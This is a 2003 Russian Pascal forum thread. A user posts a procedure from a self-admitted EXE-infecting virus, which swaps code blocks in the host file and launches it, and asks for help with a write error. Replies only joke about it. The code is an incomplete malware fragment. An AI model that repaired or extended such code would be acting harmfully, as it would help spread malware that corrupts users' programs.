1. Заголовок или название темы должно быть информативным !
2. Все тексты фрагментов программ должны помещаться в теги [code] ... [/code] или [code=pas] ... [/code].
3. Прежде чем задавать вопрос, см. "FAQ" и используйте ПОИСК !
4. НЕ используйте форум для личного общения!
5. Самое главное - это раздел теоретический, т.е. никаких задач и программ (за исключением небольших фрагментов) - для этого есть отдельный раздел!
![]() ![]() |
| Deeonis |
23.07.2003 21:37
Сообщение
#1
|
|
Новичок ![]() Группа: Пользователи Сообщений: 12 Репутация: 0 |
Вот процедура:
Procedure SReal; begin l1:=filesize(f1)-VirLen-1; seek(f1,l1); getmem(p2,(virlen+1)); getmem(p1,(virlen+1)); blockread(f1,p2^,(virlen+1)); seek(f1,0); blockread(f1,p1^,(virlen+1)); seek(f1,l1); truncate(f1); seek(f1,0); blockwrite(f1,p2^,(virlen+1)); close(f1); swapvectors; exec(getenv('comspec'),'/C '+paramstr(0)+cmdparam); swapvectors; reset(f1,1); blockwrite(f1,p1^,(virlen+1)); seek(f1,l1); blockwrite(f1,p2^,(virlen+1)); freemem(p,VirLen); freemem(p1,(virlen+1)); freemem(p2,(virlen+1)); close(f1); end; Все переменные инициализированны, все нормально работает, но после того как мы запускаем файл через EXEC прога при выполнении выдает ошибку 0005, т.е. она не записывает в начало файла из p1^ и не дописывает в конец файла из p2^. Сразу скажу что эта прога встраивается в ехе файл и должна работать коректно, т.е эта процедура запускает файл в который встроилась прога... ПОМОГИТЕ |
| Zew |
24.07.2003 2:51
Сообщение
#2
|
|
Новичок ![]() Группа: Пользователи Сообщений: 26 Репутация: 0 |
Вирусняк чтоли ?
|
| Deeonis |
24.07.2003 21:41
Сообщение
#3
|
|
Новичок ![]() Группа: Пользователи Сообщений: 12 Репутация: 0 |
ну типа... а как догадался
|
| Zew |
24.07.2003 22:31
Сообщение
#4
|
|
Новичок ![]() Группа: Пользователи Сообщений: 26 Репутация: 0 |
Цитата ну типа... а как догадался Тайна :D |
| GLuk |
7.08.2003 20:19
Сообщение
#5
|
|
Профи ![]() ![]() ![]() ![]() Группа: Пользователи Сообщений: 775 Пол: Мужской Репутация: 0 |
На асме вирусы-то надо писать...
|
![]() ![]() |
|
Текстовая версия | 15.11.2025 13:56 |